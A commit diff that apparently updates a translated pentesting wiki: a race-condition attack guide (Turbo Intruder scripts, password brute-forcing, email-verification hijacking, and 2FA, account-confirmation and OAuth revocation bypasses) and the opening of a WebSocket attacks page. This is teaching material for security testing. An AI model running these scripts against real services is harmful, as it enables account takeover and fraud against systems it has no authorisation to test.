Translated ['', 'src/pentesting-web/websocket-attacks.md', 'src/pentesti

This commit is contained in:
Translator 2025-09-29 14:19:40 +00:00
parent 8ba0650c0c
commit 7d19c48dfa
3 changed files with 279 additions and 144 deletions

View File

@ -837,9 +837,14 @@
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
- [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
- [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI
- [AI Security](AI/README.md)

View File

@ -1,58 +1,58 @@
# Condición de Carrera
# Race Condition
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> Para obtener una comprensión profunda de esta técnica, consulta el informe original en [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
> Para obtener una comprensión profunda de esta técnica consulta el informe original en [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
## Mejorando los Ataques de Condición de Carrera
## Mejorando los ataques de Race Condition
El principal obstáculo para aprovechar las condiciones de carrera es asegurarse de que múltiples solicitudes se manejen al mismo tiempo, con **muy poca diferencia en sus tiempos de procesamiento—idealmente, menos de 1ms**.
El principal obstáculo para aprovechar race conditions es asegurarse de que múltiples requests sean procesadas al mismo tiempo, con una diferencia en sus tiempos de procesamiento muy pequeña — idealmente, menos de 1ms.
Aquí puedes encontrar algunas técnicas para Sincronizar Solicitudes:
Aquí puedes encontrar algunas técnicas para sincronizar requests:
#### Ataque de Paquete Único HTTP/2 vs. Sincronización de Último Byte HTTP/1.1
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- **HTTP/2**: Soporta el envío de dos solicitudes a través de una única conexión TCP, reduciendo el impacto del jitter de red. Sin embargo, debido a las variaciones del lado del servidor, dos solicitudes pueden no ser suficientes para un exploit de condición de carrera consistente.
- **Sincronización de 'Último Byte' HTTP/1.1**: Permite el pre-envío de la mayoría de las partes de 20-30 solicitudes, reteniendo un pequeño fragmento, que luego se envía junto, logrando una llegada simultánea al servidor.
- **HTTP/2**: Permite enviar dos requests sobre una única conexión TCP, reduciendo el impacto del jitter de la red. Sin embargo, debido a variaciones del lado del servidor, dos requests pueden no ser suficientes para un exploit de race condition consistente.
- **HTTP/1.1 'Last-Byte Sync'**: Permite pre-enviar la mayor parte de 20-30 requests, reteniendo un pequeño fragmento que luego se envía conjuntamente, logrando la llegada simultánea al servidor.
**La Preparación para la Sincronización de Último Byte** implica:
La preparación para Last-Byte Sync implica:
1. Enviar encabezados y datos del cuerpo menos el byte final sin finalizar el flujo.
2. Pausar durante 100ms después del envío inicial.
3. Deshabilitar TCP_NODELAY para utilizar el algoritmo de Nagle para agrupar los cuadros finales.
1. Enviar headers y body data menos el byte final sin cerrar el stream.
2. Pausar 100ms después del envío inicial.
3. Deshabilitar TCP_NODELAY para utilizar Nagle's algorithm y agrupar los frames finales.
4. Hacer ping para calentar la conexión.
El envío posterior de los cuadros retenidos debería resultar en su llegada en un solo paquete, verificable a través de Wireshark. Este método no se aplica a archivos estáticos, que no suelen estar involucrados en ataques de RC.
El envío posterior de los frames retenidos debería resultar en su llegada en un solo paquete, verificable con Wireshark. Este método no se aplica a static files, que típicamente no están involucrados en ataques RC.
### Adaptándose a la Arquitectura del Servidor
### Adaptándose a la arquitectura del servidor
Entender la arquitectura del objetivo es crucial. Los servidores front-end pueden enrutar las solicitudes de manera diferente, afectando el tiempo. El calentamiento preventivo de la conexión del lado del servidor, a través de solicitudes insignificantes, podría normalizar el tiempo de las solicitudes.
Entender la arquitectura del objetivo es crucial. Front-end servers pueden enrutar requests de forma diferente, afectando el timing. El connection warming preventivo del lado del servidor, mediante requests inocuos, puede normalizar los tiempos de request.
#### Manejo de Bloqueo Basado en Sesiones
#### Manejo del bloqueo basado en session
Frameworks como el manejador de sesiones de PHP serializan las solicitudes por sesión, potencialmente oscureciendo vulnerabilidades. Utilizar diferentes tokens de sesión para cada solicitud puede eludir este problema.
Frameworks como el session handler de PHP serializan los requests por session, lo que puede ocultar vulnerabilidades. Utilizar diferentes session tokens para cada request puede eludir este problema.
#### Superando Límites de Tasa o Recursos
#### Superando límites de tasa o recursos
Si el calentamiento de la conexión no es efectivo, provocar intencionalmente los retrasos de límite de tasa o recursos de los servidores web a través de una inundación de solicitudes ficticias podría facilitar el ataque de paquete único al inducir un retraso del lado del servidor propicio para condiciones de carrera.
Si el connection warming no es efectivo, provocar intencionadamente retrasos de rate o resource limits en los web servers mediante una avalancha de requests ficticios podría facilitar el single-packet attack al inducir un retraso del lado del servidor favorable a race conditions.
## Ejemplos de Ataque
## Ejemplos de ataque
- **Tubo Intruder - ataque de paquete único HTTP2 (1 endpoint)**: Puedes enviar la solicitud a **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), puedes cambiar en la solicitud el valor que deseas forzar para **`%s`** como en `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` y luego seleccionar el **`examples/race-single-packer-attack.py`** del menú desplegable:
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Puedes enviar la request a **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), puedes cambiar en la request el valor que quieres brute forcear para **`%s`** como en `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` y luego seleccionar el **`examples/race-single-packer-attack.py`** del desplegable:
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
Si vas a **enviar diferentes valores**, podrías modificar el código con este que utiliza una lista de palabras del portapapeles:
Si vas a **enviar valores diferentes**, podrías modificar el código con este que usa una wordlist desde el clipboard:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> Si la web no soporta HTTP2 (solo HTTP1.1) usa `Engine.THREADED` o `Engine.BURP` en lugar de `Engine.BURP2`.
> Si el sitio web no soporta HTTP2 (solo HTTP1.1) usa `Engine.THREADED` o `Engine.BURP` en lugar de `Engine.BURP2`.
- **Tubo Intruder - ataque de un solo paquete HTTP2 (Varios endpoints)**: En caso de que necesites enviar una solicitud a 1 endpoint y luego múltiples a otros endpoints para activar el RCE, puedes cambiar el script `race-single-packet-attack.py` por algo como:
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: En caso de que necesites enviar una request a 1 endpoint y luego varias requests a otros endpoints para desencadenar la RCE, puedes cambiar el script `race-single-packet-attack.py` por algo como:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- También está disponible en **Repeater** a través de la nueva opción '**Enviar grupo en paralelo**' en Burp Suite.
- Para **limit-overrun** podrías simplemente agregar la **misma solicitud 50 veces** en el grupo.
- Para **connection warming**, podrías **agregar** al **principio** del **grupo** algunas **solicitudes** a alguna parte no estática del servidor web.
- Para **delaying** el proceso **entre** el procesamiento de **una solicitud y otra** en 2 pasos de subestado, podrías **agregar solicitudes extra entre** ambas solicitudes.
- Para un **multi-endpoint** RC podrías comenzar enviando la **solicitud** que **va al estado oculto** y luego **50 solicitudes** justo después que **explotan el estado oculto**.
- También está disponible en **Repeater** a través de la nueva opción '**Send group in parallel**' en Burp Suite.
- Para **limit-overrun** podrías simplemente añadir la **misma request 50 veces** en el grupo.
- Para **connection warming**, podrías **añadir** al **inicio** del **grupo** algunas **requests** a alguna parte no estática del servidor web.
- Para **delaying** el proceso **entre** procesar **una request y otra** en 2 pasos de substates, podrías **añadir extra requests entre** ambas requests.
- Para un **multi-endpoint** RC podrías empezar a enviar la **request** que **va al hidden state** y luego **50 requests** inmediatamente después que **explotan el hidden state**.
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: El objetivo de este script es cambiar el correo electrónico de un usuario mientras se verifica continuamente hasta que el token de verificación del nuevo correo llegue al último correo (esto se debe a que en el código se estaba viendo un RC donde era posible modificar un correo electrónico pero tener la verificación enviada al antiguo porque la variable que indicaba el correo ya estaba poblada con el primero).\
Cuando se encuentra la palabra "objetivo" en los correos electrónicos recibidos, sabemos que hemos recibido el token de verificación del correo cambiado y terminamos el ataque.
- **Automated python script**: El objetivo de este script es cambiar el email de un usuario mientras lo verifica continuamente hasta que el verification token del nuevo email llegue al último email (esto es porque en el código se observó un RC donde era posible modificar un email pero que la verification se enviara al antiguo, porque la variable que indicaba el email ya estaba poblada con el primero).\
Cuando se encuentra la palabra "objetivo" en los emails recibidos sabemos que recibimos el verification token del email cambiado y terminamos el ataque.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@ -217,22 +217,22 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Mejorando el Ataque de Paquete Único
### Mejorando Single Packet Attack
En la investigación original se explica que este ataque tiene un límite de 1,500 bytes. Sin embargo, en [**este post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), se explicó cómo es posible extender la limitación de 1,500 bytes del ataque de paquete único a la **limitación de ventana de 65,535 B de TCP utilizando la fragmentación en la capa IP** (dividiendo un solo paquete en múltiples paquetes IP) y enviándolos en un orden diferente, lo que permitió evitar la reensambladura del paquete hasta que todos los fragmentos llegaran al servidor. Esta técnica permitió al investigador enviar 10,000 solicitudes en aproximadamente 166 ms.
En la investigación original se explica que este ataque tiene un límite de 1,500 bytes. Sin embargo, en [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), se explicó cómo es posible extender la limitación de 1,500 bytes del single packet attack hasta la **limitación de ventana de 65,535 B de TCP usando fragmentación a nivel IP** (dividiendo un único paquete en múltiples paquetes IP) y enviándolos en distinto orden, lo que permite evitar la reensamblación del paquete hasta que todos los fragmentos hayan llegado al servidor. Esta técnica permitió al investigador enviar 10,000 requests en unos 166 ms.
Ten en cuenta que, aunque esta mejora hace que el ataque sea más confiable en RC que requiere que cientos/miles de paquetes lleguen al mismo tiempo, también puede tener algunas limitaciones de software. Algunos servidores HTTP populares como Apache, Nginx y Go tienen una configuración estricta de `SETTINGS_MAX_CONCURRENT_STREAMS` de 100, 128 y 250. Sin embargo, otros como NodeJS y nghttp2 lo tienen ilimitado.\
Esto significa básicamente que Apache solo considerará 100 conexiones HTTP desde una sola conexión TCP (limitando este ataque de RC).
Ten en cuenta que, aunque esta mejora hace el ataque más fiable en RC que requiere cientos/miles de paquetes que lleguen al mismo tiempo, también puede tener algunas limitaciones de software. Algunos servidores HTTP populares como Apache, Nginx y Go tienen un ajuste estricto `SETTINGS_MAX_CONCURRENT_STREAMS` a 100, 128 y 250. Sin embargo, otros como NodeJS y nghttp2 lo tienen ilimitado.\
Esto básicamente significa que Apache solo considerará 100 conexiones HTTP desde una única conexión TCP (limitando este ataque RC).
Puedes encontrar algunos ejemplos utilizando esta técnica en el repositorio [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
Puedes encontrar algunos ejemplos usando esta técnica en el repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## BF Crudo
## Raw BF
Antes de la investigación anterior, estos eran algunos payloads utilizados que solo intentaban enviar los paquetes lo más rápido posible para causar un RC.
Antes de la investigación anterior, estos eran algunos payloads usados que simplemente intentaban enviar los paquetes lo más rápido posible para provocar un RC.
- **Repetidor:** Consulta los ejemplos de la sección anterior.
- **Intruso**: Envía la **solicitud** a **Intruso**, establece el **número de hilos** en **30** dentro del **menú de Opciones** y selecciona como payload **Payloads Nulos** y genera **30**.
- **Turbo Intruso**
- **Repeater:** Revisa los ejemplos de la sección anterior.
- **Intruder:** Envía la **request** a **Intruder**, establece el **number of threads** a **30** dentro del **Options menu**, selecciona como payload **Null payloads** y genera **30**.
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -279,75 +279,75 @@ print(results)
asyncio.run(main())
```
## **Metodología RC**
## **RC Metodología**
### Limit-overrun / TOCTOU
Este es el tipo más básico de condición de carrera donde **vulnerabilidades** que **aparecen** en lugares que **limitan el número de veces que puedes realizar una acción**. Como usar el mismo código de descuento en una tienda web varias veces. Un ejemplo muy fácil se puede encontrar en [**este informe**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o en [**este bug**](https://hackerone.com/reports/759247)**.**
Este es el tipo más básico de race condition donde **vulnerabilidades** que **aparecen** en lugares que **limitan el número de veces que puedes realizar una acción**. Como usar el mismo código de descuento varias veces en una tienda web. Un ejemplo muy fácil se puede encontrar en [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o en [**this bug**](https://hackerone.com/reports/759247)**.**
Hay muchas variaciones de este tipo de ataque, incluyendo:
Hay muchas variantes de este tipo de ataque, incluyendo:
- Redimir una tarjeta de regalo varias veces
- Calificar un producto varias veces
- Retirar o transferir efectivo en exceso de tu saldo de cuenta
- Reutilizar una única solución CAPTCHA
- Eludir un límite de tasa anti-fuerza bruta
- Canjear una tarjeta de regalo varias veces
- Valorar un producto múltiples veces
- Retirar o transferir dinero por encima del saldo de tu cuenta
- Reutilizar la solución de un mismo CAPTCHA
- Evadir un anti-brute-force rate limit
### **Subestados ocultos**
Explotar condiciones de carrera complejas a menudo implica aprovechar breves oportunidades para interactuar con subestados de máquina ocultos o **no intencionados**. Aquí te mostramos cómo abordar esto:
Explotar race conditions complejas suele implicar aprovechar oportunidades breves para interactuar con subestados de máquina ocultos o **no intencionados**. Aquí tienes cómo abordarlo:
1. **Identificar Subestados Ocultos Potenciales**
- Comienza por identificar puntos finales que modifican o interactúan con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Enfócate en:
- **Almacenamiento**: Prefiere puntos finales que manipulan datos persistentes del lado del servidor sobre aquellos que manejan datos del lado del cliente.
- **Acción**: Busca operaciones que alteren datos existentes, que son más propensas a crear condiciones explotables en comparación con aquellas que añaden nuevos datos.
- **Claves**: Los ataques exitosos generalmente involucran operaciones basadas en el mismo identificador, por ejemplo, nombre de usuario o token de restablecimiento.
2. **Realizar Probing Inicial**
- Prueba los puntos finales identificados con ataques de condición de carrera, observando cualquier desviación de los resultados esperados. Respuestas inesperadas o cambios en el comportamiento de la aplicación pueden señalar una vulnerabilidad.
- Empieza por localizar endpoints que modifiquen o interactúen con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Enfócate en:
- **Almacenamiento**: Prefiere endpoints que manipulen datos persistentes en server-side por encima de aquellos que manejan datos en client-side.
- **Acción**: Busca operaciones que alteren datos existentes, que son más propensas a crear condiciones explotables en comparación con las que añaden datos nuevos.
- **Keying**: Los ataques exitosos suelen implicar operaciones indexadas por el mismo identificador, por ejemplo username o reset token.
2. **Realizar sondeos iniciales**
- Prueba los endpoints identificados con ataques de race condition, observando cualquier desviación de los resultados esperados. Respuestas inesperadas o cambios en el comportamiento de la aplicación pueden señalar una vulnerabilidad.
3. **Demostrar la Vulnerabilidad**
- Reduce el ataque al número mínimo de solicitudes necesarias para explotar la vulnerabilidad, a menudo solo dos. Este paso puede requerir múltiples intentos o automatización debido al tiempo preciso involucrado.
- Reduce el ataque al número mínimo de requests necesarios para explotar la vulnerabilidad, a menudo solo dos. Este paso puede requerir múltiples intentos o automatización debido al timing preciso involucrado.
### Ataques Sensibles al Tiempo
### Ataques sensibles al tiempo
La precisión en el tiempo de las solicitudes puede revelar vulnerabilidades, especialmente cuando se utilizan métodos predecibles como marcas de tiempo para tokens de seguridad. Por ejemplo, generar tokens de restablecimiento de contraseña basados en marcas de tiempo podría permitir tokens idénticos para solicitudes simultáneas.
La precisión en el timing de las requests puede revelar vulnerabilidades, especialmente cuando se usan métodos predecibles como timestamps para tokens de seguridad. Por ejemplo, generar password reset tokens basados en timestamps podría permitir tokens idénticos para requests simultáneas.
**Para Explotar:**
**Para explotar:**
- Usa un tiempo preciso, como un ataque de paquete único, para hacer solicitudes de restablecimiento de contraseña concurrentes. Tokens idénticos indican una vulnerabilidad.
- Usa un timing preciso, como un ataque de un solo packet, para hacer solicitudes concurrentes de password reset. Tokens idénticos indican una vulnerabilidad.
**Ejemplo:**
- Solicita dos tokens de restablecimiento de contraseña al mismo tiempo y compáralos. Tokens coincidentes sugieren un defecto en la generación de tokens.
- Solicita dos password reset tokens al mismo tiempo y compáralos. Tokens que coinciden sugieren un fallo en la generación de tokens.
**Revisa este** [**Laboratorio de PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **para probar esto.**
Consulta este [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) para probar esto.
## Estudios de caso de subestados ocultos
### Pagar y añadir un ítem
### Pagar y añadir un artículo
Revisa este [**Laboratorio de PortSwigger**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pagar** en una tienda y **añadir un extra** que **no necesitarás pagar**.
Consulta este [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pagar** en una tienda y **añadir un artículo extra** que **no tendrás que pagar**.
### Confirmar otros correos
### Confirmar otros emails
La idea es **verificar una dirección de correo electrónico y cambiarla a una diferente al mismo tiempo** para averiguar si la plataforma verifica la nueva que se cambió.
La idea es **verificar una dirección de email y cambiarla por otra al mismo tiempo** para comprobar si la plataforma verifica la nueva que se cambió.
### Cambiar correo a 2 direcciones de correo basadas en cookies
### Cambiar email a 2 direcciones basado en cookies
Según [**esta investigación**](https://portswigger.net/research/smashing-the-state-machine), Gitlab era vulnerable a una toma de control de esta manera porque podría **enviar** el **token de verificación de correo de un correo al otro correo**.
Según [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab fue vulnerable a un takeover de esta manera porque podría **send** el **email verification token de un email al otro email**.
**Revisa este** [**Laboratorio de PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **para probar esto.**
Consulta este [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) para probar esto.
### Estados ocultos de la base de datos / Bypass de confirmación
### Estados ocultos de la base de datos / Confirmation Bypass
Si se utilizan **2 escrituras diferentes** para **agregar** **información** dentro de una **base de datos**, hay una pequeña porción de tiempo donde **solo los primeros datos han sido escritos** dentro de la base de datos. Por ejemplo, al crear un usuario, el **nombre de usuario** y **contraseña** pueden ser **escritos** y **luego el token** para confirmar la cuenta recién creada es escrito. Esto significa que durante un pequeño tiempo el **token para confirmar una cuenta es nulo**.
Si **2 different writes** se usan para **añadir** **información** dentro de una **base de datos**, hay una pequeña porción de tiempo donde **solo los primeros datos han sido escritos** dentro de la base de datos. Por ejemplo, al crear un usuario el **username** y **password** podrían ser **escritos** y **luego el token** para confirmar la cuenta recién creada es escrito. Esto significa que por un pequeño tiempo el **token para confirmar una cuenta es null**.
Por lo tanto, **registrar una cuenta y enviar varias solicitudes con un token vacío** (`token=` o `token[]=` o cualquier otra variación) para confirmar la cuenta de inmediato podría permitir **confirmar una cuenta** donde no controlas el correo.
Por lo tanto **registrar una cuenta y enviar varias requests con un token vacío** (`token=` or `token[]=` or any other variation) para confirmar la cuenta de inmediato podría permitir **confirmar una cuenta** donde no controlas el email.
**Revisa este** [**Laboratorio de PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **para probar esto.**
Consulta este [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) para probar esto.
### Bypass 2FA
El siguiente pseudo-código es vulnerable a condición de carrera porque en un tiempo muy pequeño **2FA no se aplica** mientras se crea la sesión:
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -355,24 +355,25 @@ session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### Persistencia eterna de OAuth2
### OAuth2 persistencia eterna
Hay varios [**proveedores de OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Estos servicios te permitirán crear una aplicación y autenticar a los usuarios que el proveedor ha registrado. Para hacerlo, el **cliente** necesitará **permitir que tu aplicación** acceda a algunos de sus datos dentro del **proveedor de OAUth**.\
Así que, hasta aquí, solo un inicio de sesión común con google/linkedin/github... donde se te presenta una página que dice: "_La aplicación \<InsertCoolName> quiere acceder a tu información, ¿quieres permitirlo?_"
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Estos servicios te permitirán crear una aplicación y autenticar usuarios que el proveedor ha registrado. Para ello, el **cliente** necesitará **permitir que tu aplicación** acceda a parte de sus datos dentro del **OAUth provider**.\
Hasta aquí es solo un login común con google/linkedin/github... donde se te muestra una página que dice: "_La aplicación \<InsertCoolName> quiere acceder a tu información, ¿quieres permitirlo?_"
#### Condición de carrera en `authorization_code`
#### Race Condition in `authorization_code`
El **problema** aparece cuando **lo aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Luego, esta **aplicación abusa de una Condición de Carrera en el proveedor de servicios OAUth para generar más de un AT/RT** (_Token de Autenticación/Token de Refresco_) a partir del **`authorization_code`** de tu cuenta. Básicamente, abusará del hecho de que has aceptado la aplicación para acceder a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT será eliminado, pero los otros seguirán siendo válidos**.
El **problema** aparece cuando **lo aceptas** y automáticamente se envía un **`authorization_code`** a la aplicación maliciosa. Entonces, esta **aplicación abusa de una Race Condition en el proveedor de servicio OAUth para generar más de un AT/RT** (_Authentication Token/Refresh Token_) a partir del **`authorization_code`** de tu cuenta. Básicamente, aprovechará que has aceptado que la aplicación acceda a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT será eliminado, pero los otros seguirán siendo válidos**.
#### Condición de carrera en `Refresh Token`
#### Race Condition in `Refresh Token`
Una vez que has **obtenido un RT válido**, podrías intentar **abusar de él para generar varios AT/RT** y **incluso si el usuario cancela los permisos** para que la aplicación maliciosa acceda a sus datos, **varios RT seguirán siendo válidos.**
Una vez que hayas **obtenido un RT válido** podrías intentar **abusarlo para generar varios AT/RT** y **aun si el usuario cancela los permisos** para que la aplicación maliciosa acceda a sus datos, **varios RT seguirán siendo válidos.**
## **RC en WebSockets**
## **RC in WebSockets**
En [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) puedes encontrar un PoC en Java para enviar mensajes de websocket en **paralelo** para abusar de **Condiciones de Carrera también en Web Sockets**.
- En [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) puedes encontrar un PoC en Java para enviar mensajes websocket en **paralelo** y abusar de **Race Conditions** también en Web Sockets.
- Con WebSocket Turbo Intruder de Burp puedes usar el motor **THREADED** para crear múltiples conexiones WS y disparar payloads en paralelo. Parte del ejemplo oficial y ajusta `config()` (número de hilos) para la concurrencia; esto suele ser más fiable que agrupar en una única conexión cuando se compite por el estado del lado servidor entre handlers WS. Ver [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
## Referencias
## References
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@ -380,5 +381,8 @@ En [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,22 +1,22 @@
# WebSocket Attacks
# Ataques WebSocket
{{#include ../banners/hacktricks-training.md}}
## Qué son los WebSockets
## ¿Qué son los WebSockets?
Las conexiones WebSocket se establecen a través de un **handshake HTTP** inicial y están diseñadas para ser **de larga duración**, permitiendo la mensajería bidireccional en cualquier momento sin la necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren **baja latencia o comunicación iniciada por el servidor**, como flujos de datos financieros en vivo.
Las conexiones WebSocket se establecen mediante un **HTTP** handshake inicial y están diseñadas para ser **de larga duración**, lo que permite mensajería bidireccional en cualquier momento sin la necesidad de un sistema transaccional. Esto hace que los WebSockets sean especialmente ventajosos para aplicaciones que requieren **baja latencia o comunicación iniciada por el servidor**, como flujos de datos financieros en vivo.
### Establecimiento de Conexiones WebSocket
### Establecimiento de conexiones WebSocket
Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket suelen ser iniciadas a través de JavaScript del lado del cliente como se muestra a continuación:
Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede consultar [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket suelen iniciarse desde JavaScript del lado del cliente como se muestra a continuación:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
El protocolo `wss` significa una conexión WebSocket asegurada con **TLS**, mientras que `ws` indica una conexión **no asegurada**.
El protocolo `wss` indica una conexión WebSocket asegurada con **TLS**, mientras que `ws` indica una conexión **no segura**.
Durante el establecimiento de la conexión, se realiza un apretón de manos entre el navegador y el servidor a través de HTTP. El proceso de apretón de manos implica que el navegador envía una solicitud y el servidor responde, como se ilustra en los siguientes ejemplos:
Durante el establecimiento de la conexión, se realiza un handshake entre el navegador y el servidor sobre HTTP. El proceso de handshake implica que el navegador envíe una solicitud y el servidor responda, como se ilustra en los siguientes ejemplos:
El navegador envía una solicitud de apretón de manos:
El navegador envía una solicitud de handshake:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
@ -26,7 +26,7 @@ Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Respuesta del apretón de manos del servidor:
Respuesta de handshake del servidor:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
@ -35,18 +35,18 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
La conexión permanece abierta para el intercambio de mensajes en ambas direcciones una vez establecida.
**Puntos Clave del Handshake de WebSocket:**
**Puntos clave del WebSocket Handshake:**
- Los encabezados `Connection` y `Upgrade` señalan el inicio de un handshake de WebSocket.
- El encabezado `Sec-WebSocket-Version` indica la versión del protocolo WebSocket deseada, generalmente `13`.
- Un valor aleatorio codificado en Base64 se envía en el encabezado `Sec-WebSocket-Key`, asegurando que cada handshake sea único, lo que ayuda a prevenir problemas con proxies de caché. Este valor no es para autenticación, sino para confirmar que la respuesta no es generada por un servidor o caché mal configurado.
- El encabezado `Sec-WebSocket-Accept` en la respuesta del servidor es un hash del `Sec-WebSocket-Key`, verificando la intención del servidor de abrir una conexión WebSocket.
- Los encabezados `Connection` y `Upgrade` señalan el inicio de un WebSocket handshake.
- El encabezado `Sec-WebSocket-Version` indica la versión del protocolo WebSocket deseada, normalmente `13`.
- Se envía un valor aleatorio codificado en Base64 en el encabezado `Sec-WebSocket-Key`, garantizando que cada handshake sea único, lo que ayuda a prevenir problemas con proxies de caché. Este valor no sirve para autenticación sino para confirmar que la respuesta no es generada por un servidor o caché mal configurado.
- El encabezado `Sec-WebSocket-Accept` en la respuesta del servidor es un hash de la `Sec-WebSocket-Key`, verificando la intención del servidor de abrir una conexión WebSocket.
Estas características aseguran que el proceso de handshake sea seguro y confiable, allanando el camino para una comunicación en tiempo real eficiente.
